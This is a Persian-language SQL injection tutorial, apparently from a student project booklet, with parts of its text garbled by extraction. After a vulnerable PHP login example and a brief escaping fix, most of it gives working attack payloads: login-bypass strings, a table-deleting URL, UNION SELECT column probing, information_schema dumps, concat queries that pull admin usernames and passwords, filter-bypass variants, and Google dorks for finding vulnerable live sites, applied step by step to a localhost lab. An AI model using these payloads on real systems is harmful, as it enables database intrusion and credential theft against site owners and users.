if ($username_set == true && $password_set == true) { 

    $sql = "SELECT * FROM `users` WHERE `username` = '$username' 

AND `password` = '$password'"; 

    $query = mysql_query($sql, $connection); 

    $result = mysql_fetch_assoc($query); 

    $_SESSION['id'] = $result['id']; 

    $_SESSION["user_name"] = $result["username"]; 

    echo "You are logged in. In a second or two, you`ll be redirected to your 

profile page"; 

    header("location:logged-in.php"); 

{ 

بایست نام کاربری و رمز عبور خود را وارد ناحیه کاربری فرضی، میرود به یک در واقع کاربران برای و

 loggedin.php فرم فوق نمایند و در صورتی که این کار با موفقیت انجام شود، وارد صفحه ای تحت عنوان

 :می شویم که حاوی اسکریپت زیر است

();session_start 

if (!$_SESSION['user_name']) 

{    ;:./")header("location      

";title = "Hi " .  $_SESSION['user_name'] . " you are logged in$ 

;userID = $_SESSION['id']$ 

;define("TITLE", $title) 

;include("includes/header.php") 

;require("includes/db_config.php") 

'";sql = "SELECT * FROM `users` WHERE `id` = '$userID$ 

;= mysql_query($sql, $connection) query$ 

;result = mysql_fetch_assoc($query)$ 
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<table< 

>tr<        

>td>ID</td<              

 <td>Username</td<              

<             

td>Password</td< 

>tr</        

>tr<        

    >td><?php echo $result['id']; ?></td<              

        <td><?php echo $result['username']; ?></td<              

        >td><?php echo $result['password']; ?></td<              

>  tr</        

>table</ 

>a href="logout.php">Logout</a< 

 

است و پس از وارد کردن آن  admin هم نام کاربری و هم رمز عبور در نظر گرفته شده در این آموزش

  شویم:تصویر زیر مواجه می مربوطه، های ورودیوارد 

 

 ناحیه کاربری  -2-2شکل 

 

www.collegeprozheh.ir           کالج پروژه



 

23 

 توانستیم با موفقیت وارد ناحیه کاربری شویم. پس از کلیک روی لینک بینیمهمان طور که می

Logoutبه فایل تحت عنوان ، logout.php  زیر استارجاع داده می شویم که حاوی اسکریپت: 

 

session_start(); 

session_destroy(); 

define("TITLE", "Logout"); 

include("includes/header.php"); 

require("includes/db_config.php"); 

header("location:./"); 

 

 : این بار قصد داریم تا این وب اپلیکیشن را دور بزنیم

 

 
 دور زدن صفحه ورود کاربران -3-2شکل 

 زیر بجای نام کاربری و رمز عبور از عبارت زیر استفاده میکنیم :  ورودی در

 

' OR ' 1' = ' 1 
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 شویم :با تصویر زیر مواجه می Loginپس از کلیک کردن بر روی 

 
 ناحیه کاربری  -4-2شکل 

 

ن وب اپلیکیشن را ای میتوانآگاهی از نام کاربری و رمز عبور، به راحتی  با وارد کردن عبارت بالا بدون

 شد.از نوع ادمین  ،دور زده و وارد ناحیه کاربری

 با وارد کردن کد : 

' OR ' 1' = ' 1 
  

 :به صورت زیر خواهد بود SQLبه عنوان نام کاربری و رمز عبور، دستور 

 

$sql = "SELECT * FROM `users` WHERE `username` = '  ' OR ' 1' = ' 1' AND 

`password` = '  ' OR ' 1' = ' 1' "; 

 

قرار می گیرند. کدهای فوق بدون قرار ‘ ‘ مقادیر یک جدول داخل علامت های  SQL در واقع در زبان

 : به صورت زیر خواهند بود password و username دادن مقادیر برای

www.collegeprozheh.ir           کالج پروژه



 

25 

 

sql = "SELECT * FROM `users` WHERE `username` = '  ' AND `password` 

= '  ' ";$ 

های نام کاربری و رمز عبور قرار می دهدیم، دسدتور فدوق بده  ورودیحال زمانی که این عبارت را داخل 

 :صورت زیر در خواهد آمد

sql = "SELECT * FROM `users` WHERE `username` = ' ' OR ' 1' = ' 1' AND 

`password` = '  ' OR ' 1' = ' 1' "; 

 

قرار داده ‘ ‘ را برابر با  password و یا username ا مقدار، ابتدمشخص استهمانطور که در کد فوق 

انجام  SQLکه این دستور . کاری نمودهمی باشد استفاده  "یا"که به معنی  OR یعنی تهی، سپس از دستور

در   password یا username دهد تا بتوان دو مقدار مختلف برایدهد این است که این امکان را میمی

بود و از آنجا که  1برابر با  1هم اگر مقدار عدد   OR  ر اول که تهی بود و پس از دستور. مقداگرفتنظر 

 شود.نام کاربری و رمز عبور انتخاب میجواب این شرط همواره درست است، پس این مقدار برای 

 mysql_real_escape_string  برای گرفتن جلوی این حمله سایبری، می بایست از متدی تحت عنوان 

  : ستفاده کنیما

session_start(); 

$username_set = false; 

$password_set = false; 

$username = $_POST['username']; 

$password = $_POST['password']; 

// Function to prevent SQL Injection 

$secure_password = mysql_real_escape_string($password); 

if (empty($username)) { 

    echo "<p class=\"error\">Please Enter your username</p>"; 

 { else { 

$    username_set = true; 

{ 
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if (empty($password)) { 

    echo "<p class=\"error\">Please Enter your password</p>"; 

 { } else  

    //$password = sha1($_POST[‘password’]); 

    $password_set = true; 

} 

if ($username_set == true && $password_set == true) { 

     $sql = "SELECT * FROM `users` WHERE `username` = '$username' 

AND `password` =  

     '$password'"; 

//$sql="SELECT * FROM `users`WHERE`username`=' 'AND`password`= 

''OR'1' = ' 1' "; 

     $query = mysql_query($sql, $connection); 

     $result = mysql_fetch_assoc($query); 

     $_SESSION['id'] = $result['id']; 

     $_SESSION["user_name"] = $result["username"]; 

    echo "You are logged in. In a second or two, you`ll be redirected to your 

profile page"; 

    header("location:logged-in.php"); 

} 

که  secure_password ، متغیر جدیدی ساخته ایم تحت عنوانمشخص استهمانطور که در کد فوق 

قرار داده و پارامتر قرار داده شده برای این متد،  mysql_real_escape_string مقدار آن را برابر با متد

و ‘ کلیه علائمی همچون  mysql_real_escape_string ز این پس متداست. ا password همان متغیر

نماید لذا هکرها نخواهند گیرند را حذف میمورد استفاده قرار می SQL غیره که برای نوشتن دستورات

 توانست تا از طریق فرم های اینترنتی به دیتابیس ما و داده های آن دسترسی پیدا کنند. 

 ]8[توانند جایگزین نام کاربری شوند عبارتند از :ه میهایی کاقسام دیگر رشته

‘or’’=’ 

‘or’a’=’a 

‘or’a’=’a 

admin’-- 

admin or 1=1 -- 

‘or 1=1 
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‘or 0=0 -- 

admin” or”a”=”a 

admin’ or 1=1 --  

admin’) or (‘a’=’a 

 

 

 ( QueryString در رشته کوئری ) SQLتزریق کد  3-2

url  مخففuniform resource locator لیرا تشدک ینترنتدیصفحه ا کیآدرس  یاست که شکل ظاهر 

. دیدکن یمرورگر خود مشاهده مد address bar یاست که در قسمت بالا ییهمان کاراکترها urlدهد.  یم

دهدد و  یم لیصفحه را تشک کی ینام دامنه هم شکل ظاهر رایدانست.ز urlاز  یتوان بخش ینام دامنه را م

 است. تیاز آدرس صفحات سا یبخش

Query String   یا پرس جو با رشته یکی از روش های پر کاربرد برای انتقال اطلاعات بین صفحات با

خواهید همزمان با کلیک بر روی یک د استفاده از آن زمانی است که مییکی از موار، باشدمی url استفاده از

اشد که بر روی نام یک کاربر در انجمن لینک اطلاعاتی نیز ارسال شود و یا ممکن است برایتان پیش آمده ب

های پرسش و پاسخ کلیک کرده و سپس وارد صفحه ای که اطلاعات آن کاربر در آن است، شده باشید. 

  :به کرات با آدرس های اینترنتی شبیه به آدرس زیر برخورد کرده اید مطمئناً

www.example.com/page.php?username=john&password=123 

 

ال شده اند. به همین جفت کنید، متغیرهایی با مقادیر مربوطه ارسبالا همانطور که مشاهده میآدرس  در

 گویند.می  Query Stringاز هم جدا شده اند،   &آمده اند و با علامت  ?مقدار که بعد از علامت  های نام

، متداول اسدت. فدرض روشی است که در تمام زبانهای برنامه نویسی سمت سرور QueryStringاستفاده از 

صفحه عناوین سر خط تمام اخبدار  ا به صورت پویا نمایش دهیم. در اینخواهیم اخبار سایت خود رکنید می

حداوی  QueryStringکه انتهای آن یک  Linkخوانیم و هر کدام را به صورت یک را از بانک اطلاعاتی می

ID دهیم. این آن خبر است نمایش میID خواهد بود. رد خبر در بانک اطلاعاتینحصر به فشماره م 
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شود و کل خبر هدایت می  News.phpکند به صفحههنگامی که کاربر روی عنوان یک خبر کلیک می

 دهد.را در سایت مربوطه نمایش می 999شود. بعنوان مثال، لینک زیر، خبر شماره به کاربر نمایش داده می

http://www.site.com/news.php?id=999 

دریافت می شود و سپس محتوایت این  QueryStringخبر از  IDین صفحه قبل از هر چیز، مقدار در ا

 شود.خبر از بانک اطلاعاتی خوانده شده و نمایش داده می

 فرض کنید که نفوذگر، بجای لینک عادی، لینک زیر را در مرورگر وارد کند :

http://www.saite.com/news.php?id=999 OR 1=1 

 آماده انجام بصورت زیر در می آید : SQLورت، جمله در اینص

SELECT * FROM TblNews WHRE NewsID =0 OR 1=1 

شود که البته اولین  Loadشود که کل اخبار موجود در بانک اطلاعاتی به صفحه در این عبارت باعث می

 خبر نمایش داده خواهد شد.

 نفوذگر لینک زیر را وارد کند :شاید این مورد مطلب خطرناکی به نظر نرسد اما اگر 

http://www.saite.com/news.php?id=0 ;DELETE FROM tblNews ;-- 

 کند.را بدون هیچگونه خطایی حذف می TblNewsتمام اخبار در جدول  SQLserverبا این دستور، 

 

 سوابق روش تزریق کد 4-2 

شه در معرض خطر نفوذ توسط ی اجتماعی مجازی جهان، همیترین شبکهفیسبوک به عنوان بزرگ

های مختلفی، جوایزی برای هکرهایی که بتوانند هکرها بوده است. به همین دلیل، این شرکت در برنامه

 (Orange Tsai) گیرد. هکری به نام اورنج تسایهایش را کشف کنند، در نظر میهای امنیتی سیستمباگ
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های امنیتی فیسبوک منتشر کرده که نشان کشف حفرهکننده در مورد به تازگی خبری جالب و البته نگران

 .های کارمندان این شرکت در معرض نفوذ جدی قرار داشته استدهد حسابمی

های امنیتی و کسب هایش برای کشف باگتسای در پست وبلاگی خود عنوان کرده که در خلال برنامه

ماه در سرورهای این شرکت نفوذ  8دود ی فیسبوک به این نکته پی برده است که هکری دیگر در حجایزه

 .آوری کرده استداشته و اطلاعات کاربری بسیاری از کارمندان این شرکت را جمع

دهد که با استفاده از گوگل و اطلاعاتی که در اینترنت پیدا کرده است، توانسته تسای در ادامه توضیح می

 The Facebook Network که مخفف tfbnw.net ی داخلی فیسبوک با آدرسهای شبکهیکی از دامنه

سرور دیگر فیسبوک را شناسایی کند. یکی از  5است را شناسایی کند. او از طریق این دامنه توانسته است 

قرار داشته که تسای مطمئن بوده مربوط به سرویس اشتراک امن  files.fb.com یاین سرورها در دامنه

ی هفت حفره  SQL   injection یه از روش هک سادهاست. او با استفاد Accellion فایل شرکت

 Accellion اش به فیسبوک و تیم پشتیبانیی اخلاقیامنیتی در این سرویس پیدا کرده و طبق وظیفه

های امنیتی وارد این سرور شده و کنترل ماشین را در اطلاع داده است. تسای با استفاده از یکی از این حفره

ها سریعا پچ امنیتی مورد نظر را نیز پس از اطلاع از این حفره Accellion شرکت دست گرفته است. البته

 .برای رفع آنها در اختیار کاربران قرار داده است

 تست نفوذ وب سایت  5-2

   یک سازمان را شبیه سازی وب سایتبرای گرفتن دسترسی به شبکه یا  نفوذگر یحمله تست نفوذ

برای مشاهده  اساساً باشد.سازمان می ی پیاده سازی و سیاست امنیتی یکبررس هدف ازتست نفوذ .کندمی

را به درستی پیاده سازی کرده  ،یا سازمان معیارهای امنیتی که درسیاست امنیتی مشخص کرده استآاینکه 

مادی و معنوی شدید به آن  نفوذهکر به یک سایت یا سازمان موجب افت موقعیت آن سازمان و زیانهای .یا نه

 .شودمی
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 وجود دارد عبارتند از : SQLصفحاتی که احتمال آسیب پذیری در برابر تزریق کد 

 صفحات ورود کاربران -

 Searchصفحات  -

 هستند Query Strinصفحاتی که آدرس آن ها  -

 کنند.پارامترهای لازم را به صفحات پویا ارسال می POSTکه از طریق روش  HTMLصفحات  -

دهد، این استعداد را ه هر صفحه ای که به کاربر اجازه وارد کردن داده را میتوان گفت کبه طور کلی می

 باشد. SQLدارد که محلی برای حمله تزریق 

 دو روش برای تست آسیب پذیری وب سایت ها وجود دارد :

 روش کارکتری

 روش منطقی

 روش کارکتری 1-5-2

وناگونی وجود دارد که بسته به نوع در این روش برای بررسی آسیب پذیر بودن وب سایت، راه های گ

 استفاده کرد.    ; , ‘ “ % _ *توان از پارامترهای ویژه مانند : سایت می

 توان از موارد زیر بعنوان مثال بکارگیری این پارمترها نام برد.می

 

Login : User’ 

Password : pass’ 

http://localhost/site/news.php?id=999’ 

 

 تغییراتی در محل بکارگیری این پارامترها باشیم :ممکن است نیاز به 

login : ‘User 

Password : ‘pass 

http://localhost/site/news.php?id=’999 
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 و یا حتی ترکیبی از پارامترهای ویژه را بکار ببریم :

login : ‘;User 

password : pass’; 

http://localhost/site/news.php?id= 999; 

 قيروش منط 2-5-2

 شود :وب سایت عبارات منطقی زیر اضافه می urlدر این روش به آخر 

And 1=0 -- 

And 1=1 -- 

وب  رگزرای شداب ناقص یا نشد و بارگزاری  و صفحه مورد نظر کاملاً شدامتحان  را  and1=0عبارت اگر

 است.سیب پذیرآ سایت مورد نظر،

 .  شودلود  صفحه باید کاملا 1=1 با اضافه کردن نکته :

 

http://localhost/site/news.php?id=999+And+1=0-- 

http://localhost/site/news.php?id=99+And+1=1-- 
 

 SQLپیغام های خطا در  6-2

های خطایی نظیر موارد زیر از سوی توان گفت که اگر پس از ورود پارامترهای ویژه، پیامبه طور کلی می

 باشد :ذیر میسیستم ارائه شد سایت مورد نظر آسیب پ

 

The page cannot be displayed 
 

 

There is a problem with the page you are trying to reach it connot be desplayed 
 

 

All ODBC Error Massages 

Microsoft OLE DB provider for ODBC drivers error ... 
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Microsoft OLE DB Provider for ODBC drivers error ‘80040e14’ 

[Microsoft][ODBC SQL server] Incorrect syntax near the keyword 

‘or’/Verify.php,line5. 

 

Microsoft OLE DB Provider for ODBC drivers error ‘80040e14’ 

[Microsoft][ODBC SQL server] Unclosed quotation mark before the character 

string 

 

 

Microsoft OLE DB Provider for ODBC drivers error ‘8004005’ 

[Microsoft][ODBC SQL server] 

 

 

Microsoft JET Datbase Engine error ‘80040e14’ 
 

 

باشد، بسیاری از وب سایت ارور زیر می phpیکی از رایج ترین ارور های موجود در کوئری های صفحات 

 دهند. ر را در مقابله با تست نفوذ توسط کارکتر نمایش مینوشته شده اند این ارو  phpهایی که با زبان 

 

Query failed : You have an error in your SQL syntax; check the manual that 

corresponds to your MySQL server version for the right syntax to use near ''' at 

line 1 
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 تزریق کددستورات  7-2

 

Version( ) : .بدست آوردن ورژن زبان برنامه نویسی شده وب سایت 

، عمل نکند،   ( )Versionرا دارند، ممکن است دستور  SQLنکته : در بعضی از سایت های که باگ 

 شود.استفاده می version@@بنابرین بجای دستور بالا از دستور 

User( ) : شود.ده میجهت بدست آوردن نام کاربری پایگاه داده استفا 

Database( ) : شود.برای پیدا کردن نام پایگاه داده از این دستور استفاده می 

 کرد. پسبایتوجه : در صورت عمل نکردن دستورات بالا، و یا مواجه شدن با ارور امنیتی، دستورات را باید 

Unhex : تورات را باشد، این عبارت دسپس کردن دستورات تزریق کد مییکی از روش های بای Unhex 

 کند.می

Unhex (Unhex(Version( ) ) ) 

Unhex (Unhex(User ( ) ) )  

Unhex (Unhex(database ( ) ) ) 

 

Convert : پس کردن دستورات تزریق کدروش دیگر بای  

 

Convert (version( ) using latin 1) 

Convert (User( ) using latin 1) 

Convert (Database( ) using latin 1) 

 

From : هم به آنها اتصال نحوه و جداول کردن مشخص. 

Group By : کوچکتر سطرهای از ایمجموعه به مربوط مقادیر با هاسطر ترکیب. 

Order By : رودمی کار به هاداده کردن مرتب برای ستونها کدام اینکه کردن مشخص. 
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آن که تست نفوذ انجام شد و  URL برای بدست آوردن ستونهای یک وب سایت دارای باگ، در آخر

کنیم و بجای را اضافه می Order by [Column Number]نمایش داده شد،  SQLپیغام خطا 

[Column Number] کنیم. عددی به عنوان تعداد ستون را جایگزین می 

http://localhost/saite/news.php?id=999+order+by+30-- 

 

 

 استفاده کرد. توان بجای + از فاصلهنکته : می

کنیم، اگر پس از بارگزاری صفحه وب صفحه را بارگزاری می Order Byبعد از اضافه کردن دستور 

 باشد.باشد که تعداد ستون ها از عدد وارد شده کمتر میسایت پیغام خطا داد، به این معنا می

 باشد : پیغام خطا در بیشتر مواقع به صورت زیر می

Invalid query: Unknown column '30' in 'order clause' 

 

کنیم. این کار در صورت مواجه شدن با پیغام خطای بالا عدد ستونها را کم کرده و صفحه را بارگزاری می

شود که پس از بارگزاری صفحه وب سایت به صورت کامل لود شود، بنابراین آن عدد را تا جایی انجام می

 اشد.بتعداد ستونهای وب سایت مورد نظر می

Where : خاص شرایط با هاییسطر انتخاب. 

Having : ترکیبی سطرهای کردن مشخص. 

Union :دستور از Union دادن نشان و جدول چند یا 2 از مختلف ستون چند یا دو ادغام و ترکیب برای 

 . شود می استفاده مشترک ستون یک در آنها

 Union دستور.  باشند یکسان باید ترکیب ایبر شده انتخاب های ستون ای داده نوع ، دستور این در

 را نمونه یک مقدار هر از و کرده حذف را آنها تکراری مقادیر با برخورد صورت در ها، فیلد ترکیب هنگام در

 .کرد استفاده Union ALL دستور از باید تکراری مقادیر حتی مقادیر، تمام مشاهده برای. دهدمی نمایش
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SELECT : دستور SELECT این. رودمی کار به جدول چند یا یک از سطری برشی بازیابی جهت 

 .گیردمی قرار استفاده مورد موثر هایگیری گزارش برای و باشدمی DML دستور پرکاربردترین دستور

تعداد ستونهای وب سایت مشخص شد، برای بدست آوردن ستونهای  Order BYبعد از این که با دستور 

 میباشد( 4) با فرض اینکه تعداد ستونها  :شود به شکل زیر استفاده می Unionقابل نفوذ از دستور 

 

http://localhost/saite/news/php?id=999+union+all+select+1,2,3,4-- 

 

و  Union , Selectپس های مربوط به دستور توان از بایتوجه : در صورت عمل نکردن دستور بالا می

 استفاده کرد. –یا با اضافه کردن + بعد از 

 توان در آن تزریق کد انجام داد.دستور بالا عددی نمایش میدهد که شماره ی ستونی است که می

نکته : ممکن است بعضی از وب سایت ها چند ستون قابل نفوذ نمایش دهد، در این گونه وب سایت ها در 

 توان تزریق کد انجام داد.تمامی ستونهای نمایش داده شده می

INSERT  :موجود جدول به هاییسطر کردن اضافه. 

DELETE  :موجود جدول از هاییسطر حذف. 

UPDATE  :جدول موجود سطرهای مقادیر تغییر جهت. 

Information_schema :  

 وجود information_schem  نام به اضافی اطلاعاتی بانک یک بالاتر و 5.02 نسخهMySQL در

 یک یا داده پایگاه نام شامل که باشد می metadata داده پایگاه هب دسترسی جهت داده پایگاه این .دارد

 .است غیره و دسترسی، حق ستون، یک داده نوع آن، از جدول

Information_schema هایبانک تمام به مربوط اطلاعات آن در که است اطلاعاتی داده پایگاه یک 

 سیستم اطلاعات تأمین هدف با تنها مجازی بصورت داده پایگاه این .است شده داشته نگه دیگر اطلاعاتی

 قرار information_schema در را جداول خودکار طور به MySQL  سرور.است شده ایجاد داده پایگاه

 .دهدمی
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 اما بپردازید، آن در جستجو به توانیدمی شما که است این  information_schema داده پایگاه : نکته

 . دهید تغییر را آن اطلاعات یا و آن ساختار توانید نمی شما

http://localhost/saite/news.php?id=999+union+all+select+1,table_name,3+ 

from+ information_schmea.tables+where+table_schema=database()-- 

 

 دهد.را نمایش می Information_schemaلینک بالا نام جداول موجود در 

دهد، برای اینکه نام تمام جداول را در یک ستون نمدایش ام جدول را نمایش میتوجه : لینک بالا تنها یک ن

 استفاده کرد. Group_concatدهد از دستور 

Concat : توان اطلاعات خواسته شده را در یک ستون با هم بیرون کشید.توسط این عبارت می 

http://localhost/saite/news.php?id=99+union+all+select+1,concat(user,pass),

3+from+admin 

 باشد: متن نمایش داده شده به صورت زیر می

userpass 

admin1234 

 دهد برای رفع این مشکل دو روش وجود دارد.تذکر : این دستور اطلاعات را به هم چسبیده نمایش می

- He 

- Char 

 

Hex  : استه شده قرار میدهیم.را بین دو اطلاعات خو " : "توسط این روش، عبارت معادل هگز شده علامت 

0x >> عبارت آغازین متن های هگز شده 

3a >>   ":"معادل هگز علامت  

http://localhost/saite/news.php?id=9+union+all+select+1,concat(user,0x3a,pass),3+

from+admin 
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 باشد: متن نمایش داده شده به صورت زیر می

user:pass 

admin:1234 

 

Char : را بین  ”:“وش معادل کد اسکی علامت در این رUser  و Pss . قرار میدهیم 

58 >>   ":"معدل کد اسکی علامت  

http://localhost/saite/news.php?id=9+union+all+select+1,concat(user,char(58),pass

),3+from+admin 

 

 باشد: متن نمایش داده شده به صورت زیر می

user:pass 

admin:1234 

Group_Concat  : مانند دستورConcat  یا چند ادمین  2عمل میکند با این تفاوت که اگر وب سایتی

 دهد.داشته باشد، این دستور تمامی اطلاعات خواسته شده را یکجا نمایش می

Group_concat(user,0x3a,pass) 

 

 باشد: متن نمایش داده شده به صورت زیر می

admin:1234,admin2:123456,admin3:123456789 

 

Concat_ws :  این عبارت نیز مانندConcat  عمل میکند با این تفاوت که  اگر بخواهیم  چندد سدتون را

ی اطلاعات خواسته شده قرار دهیم، توسط ایدن دسدتور را بین همه " 0x3a "بیرون بکشیم لازم نیست که 

 دهیم.را در اول دستور قرار می " 0x3a "فقط یک بار 

 Concat_ws(0x3a,user,pass,id,email) 
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 [1]باشد: متن نمایش داده شده به صورت زیر می

 

admin:1234:1,admin@saite.com 
 

 

 (bypass)پس بای 8-2

 SQLI یا XSS برای مثال میتوان به ،برندراه های مختلفی را برای نفوذ به اطلاعات بکار می نفوذگران

 دانایی سطح و اطلاعات ترکیب با نفوذگر خود توسط ذنفو های روش گاهی .و روش های دیگر اشاره کرد

 .نیست مهم کار روش بنابراین باشدمی اطلاعات به نفوذ و دستیابی نهایی هدف .شوندمی طراحی

   است و امنیت کامل شده درصد تمامی راه های نفوذ بسته 100که  کردتوان تضمین هیچوقت نمی

حال اگر برنامه نویسی تمامی راه  ای نفوذ را باید بسته نگه داشت.باشد اما تا جایی که ممکن است راه همی

درصد  100زیرا که امنیت هیچگاه وجود دارد، توان گفت امکان هک شدن های نفوذ را ببند بازم هم می

ها هر روز به دنبال ابداع کردن روش های جدید برای رد شدن نفوذگرشود و همچنین از طرفی تضمین نمی

 .میباشد Bypass گیرند همانیکی از روش هایی که بکار می رسیدن به اهداف خود هستند،از امنیت و 

را انجددام  XSS یددا SQLI اکنددون تصددور کنیددد تمددامی راه هددای جلددوگیری از هددک شدددن توسددط

هدا بدرای اینکده بده هدر روشدی بتوانندد  نفدوذگر هدا قدرار داده ایدد. نفوذگرداده اید و مانع هایی بر سر راه 

بده  شدما را هدک میکنندد. XSS یدا SQLI دارندد و از طریدق،مواندع را از سدر راه خدود برمدی ندنفوذ کن

 .میگوینددد Bypass نامیددد، ” دور زدن موانددع امنیتددی“ایددن عمددل کدده بدده زبددان عامیاندده میتددوان 

بده روش هدایی گفتده مدی شدود کده هکدر محددودیت هدا و مواندع امنیتدی را از  Bypass به صورت کلی

 ]4.[رداشته و به تارگت )هدف( مورد نظر خود،حمله میکندسر راه خود ب
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 :  UNIONپس دستور بای

union select 1 

union/**/select/**/1 

union+select 1 

union+select+1 

unIOn+seLect+1 

UNION+SELECT+1 

UNION%20SELECT%201 

union+select+@@version (php nuke) 

union - select kalame 

/*!union*/select+1 

/*!union*//*!select*/+1. 

/*!50000union*/select 

 

 های زیر بای پس میشوند. به روش SQL نکته : بسیاری از وب سایت های دارای باگ 

 

- --http://localhost/saite/news.php?id=999+order+by+10 

+--http://localhost/saite/news.php?id=999+order+by+10 

--host/saite/news.php?id=999’+order+by+10http://local 

+ --999’+order+by+10-http://localhost/saite/news.php?id= 

- --http://localhost/saite/news.php?id=.999+order+by+10 
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 سومفصل 
 تزریق کد در صفحه کوئری
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 بررسي آسیب پذیری سایت هدف  1-3

پرداخته شد، به این نتیجه رسیدیم که  ها همان طور که در فصل دوم به بررسی آسیب پذیری وب سایت

 صفحاتی که احتمال که در برابر حملات تزریق کد نفوذ پذیر هستند عبارتند از :

 صفحات ورود کاربران -

 صفحات جستجو -

 کنندپارامترهای لازم را به صفحات پویا ارسال می POSTکه از طریق روش  HTMLصفحات  -

 .کنیمعملی می phpل دوم را برروی یک پروژه آزمایشی در این فصل، دستور العمل های فص توجه : 

-برای بررسی آسیب پذیر بودن یک وب سایت، راه های گوناگونی وجود دارد که بسته به نوع سایت می

نوشته شده و  php( استفاده کرد. در این پروژه وب سایت توسط زبان   ” ’ ; ,% _توان از پارامترهای  ) * 

 شود.انجام می QueryStirngتزریق از طریق 

 توان از دورک ها استفاده کرد. برای پیدا کردن اهداف برای حملات تزریق کد می نکته:

 ( Google Dorkگوگل دورک ) 

  به طور دقیق جستجو کرد و سایت ها دارای توانمی توسط آنهابه مجموعه ای از دستورات گوگل که 

  .شودگفته می دورک گوگل یافت، را باگ

ولی با احتمال بیشتر داشتن باگ پیدا ، های کم  هدف دهر چقدر دورک نوشته شده دقیق تر باش : توجه

 .شودمی

باشد، اولین کاری که برای حملات تزریق ( می http://localhost/saiteآدرس وب سایت آزمایشی ) 

ظر را به صورت دستی باشد، برای این کار، وب سایت مورد نکد نیاز است، تست آسیب پذیری وب سایت می

شود، کنیم. عمل اسکن جهت یافتن صفحات دارای باگ انجام میو یا توسط نرم افزار های مربوطه، اسکن می
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 SQL Injectionبه طور کلی هر صفحه ای که به کاربر اجازه وارد کردن داده را بدهد، قابل هک توسط 

 باشد.می

نظر به صورت دستی،  میتوانید وارد صفحات وب های یک وب سایت مورد  QueryStringبرای اسکن 

بگردید، در غیر این صورت   QueryStringسایت ها شده و پست های وب سایت را باز کنید و به دنبال 

 مورد نظر را یافت. QueryStringمیتوان توسط گوگل دورک 

inurl: saite.com ".php?id=" 

ینکی از وب سایت خواسته شده میگدردد، کده فرمدت تور جستجو گر گوگل، به دنبال لودورک بالا در م

گویند، که تزریق کد توسط می QueryStringپست داشته باشد. به این گونه لینک ها  Idو  php. صفحه 

 شود.این لینک انجام می

 باشد،می Id=1و شماره پست php.  لینک کوئری زیر مثالی از یک صفحه با فرمت 

http://localhost/saite/news.php?id=1 

 

 صفحه آسیب پذیر  -1-3شکل 
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 به طور کامل باز شده است. News.phpاز صفحه  1، پست شماره  3-1در شکل 

 کنیم.را اضافه می ‘برای بررسی تست آسیب پذیری این کوئری به آخر لینک آن علامت 

http://localhost/saite/news.php?id=1’ 

 

 تست نفوذ وب سایت  -2-3شکل 

مشاهده میشود، طبق پیغام خطا هایی که در فصل دوم به آن ها اشاره شد،  2-3که در شکل  همان طور

 باشد، و قابل نفوذ است.می SQLدارای باگ  news.phpاین وب سایت در صفحه 

 پیغام خطا : 

Invalid query: You have an error in your SQL syntax; check the manual that 

corresponds to your MySQL server version for the right syntax to use near ''' at 

line 1 
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 بدست آوردن تعداد ستون های وب سایت  2-3

که کوئری قابل نفوذ در وب سایت مورد نظر یافت شد و در تست آسیب پذیری، از قابل نفدوذ  بعد از این

 شود.ها میبودن لینک اطمینان حاصل شد، نوبت بدست آوردن تعداد ستون 

 Order by[Column Number]برای بدست آوردن تعداد سدتون هدای یدک وب سدایت از دسدتور 

 شود.استفاده می

 هیم :قرار می  Column Numberدر اینجا عددی را به صورت تقریبی انتخاب کرده و بجای 

http://localhost/saite/news.php?id=1+order+by+10-- 

 

 ا هتعداد ستون -3-3شکل 

 شود : پیغام خطای زیر مشاهده می 3-3در شکل 

Invalid query: Unknown column '10' in 'order clause' 
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سدتون در پایگداه  10پیغام خطای داده شده از طرف پایگاه داده وب سایت به این معنا است کده تعدداد 

را باید کمتر کرد. عدد تقریبی   Order byشود، بنابراین تعداد ستون های موجود در دستور داده یافت نمی

 کنیم.را کم کرده و صفحه را بارگزاری می 10

 

 های وب سایتتعداد ستون -4-3شکل 

 شود.شود، صغحه وب به طور کامل با لینک زیر بارگزاری میمشاهده می 4-3همان طور که در شکل 

http://localhost/saite/news.php?id=1+order+by+9-- 

  9 تیسدا نیدجدول اخبدار ا یتعداد ستونهابه این نتیجه خواهیم رسید که   4-3شکل  و 3-3طبق شکل 

 باشد.می
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 بدست آوردن ستون های قابل نفوذ 3-3

بود، حال در این قسمت ستون  9تعداد ستون های بدست آمده وب سایت مورد نظر  2-3در قسمت 

 آوریم.های قابل نفوذ را بدست می

و تعداد  Union,Select,Allه ی، ستون های قابل نفوذ از ترکیب دستورهای برای بدست آوردن شمار

 کنیم.کنیم. برای اینکار دستور زیر را به انتهای آدرس اینترنتی وب سایت اضافه میستون ها استفاده می

Union+all+select+1,2,3,4,5,6,7,8,9-- 

http://localhost/saite/news.php?id=1+union+all+select+1,2,3,4,5,6,7,8,9-- 

 

 Unionپس  کردن دستور بای -5-3شکل 

مشخص است، صفحه وب سایت مورد نظر با اضافه کردن دستور فوق، به  5-3همان طور که در شکل 

پس طور کامل و بدون هیچ پیغام خطایی بارگزاری شده است، در هنگام مواجعه با این گونه اهداف، از بای

حساس  Unionشود. سیستم امنیتی این وب سایت به دستور م استفاده میهای معرفی شده در فصل دو
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امنیت این وب سایت  Unionپس های کند، بنابر این توسط یکی از بایبوده و هیچ گونه تغییری ایجاد نمی

 زنیم.را دور می

 ر داد.را قبل از شماره پست قرا ".  "عبارت  Unionبهتر است در هنگام استفاده از دستور  تذکر:

http://localhost/saite/news.php?id=.1+union+all+select+1,2,3,4,5,6,7,8,9-- 

 

 های قابل نفوذستون -6-3شکل 

، صفحه به صورت کامل بارگزاری نخواهد شد، و اعدادی بر روی Unionپس کردن دستور پس از بای

ستند. طبق دستورهای معرفی شده در شود. این اعداد، شماره های ستون های قابل نفوذ هصفحه ظاهر می

توان در این ستون ها تزریق کد انجام داد و اطلاعاتی از پایگاه داده را بیرون کشید. در این جا فصل دوم می

 ( قابل نفوذ هستند. 2،3،5ستون های ) 
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 بدست آوردن مشخصات پایگاه داده 4-3

، نام جداول، PHPکه نام پایگاه داده، نسخه  برای انجام خیلی از اعمال روی بانک اطلاعاتی لازم است

 ها( و نوع آنها را داشته باشیم. ورودیها)اسامی ستون

 قرار دارد. SQL Serverباید توجه داشت که اطلاعات مورد نظر در خلال خطای صادره از سوی 

 بدست آوردن نام پایگاه داده 1-4-3

ورود کاربران قرار داریم، در قسمت نام کاربری  برای بدست آوردن نام پایگاه داده، چنانچه در صفحه

 کنیم:عبارت زیر را وارد می

a' or 1=convert(int,db_name())-- 

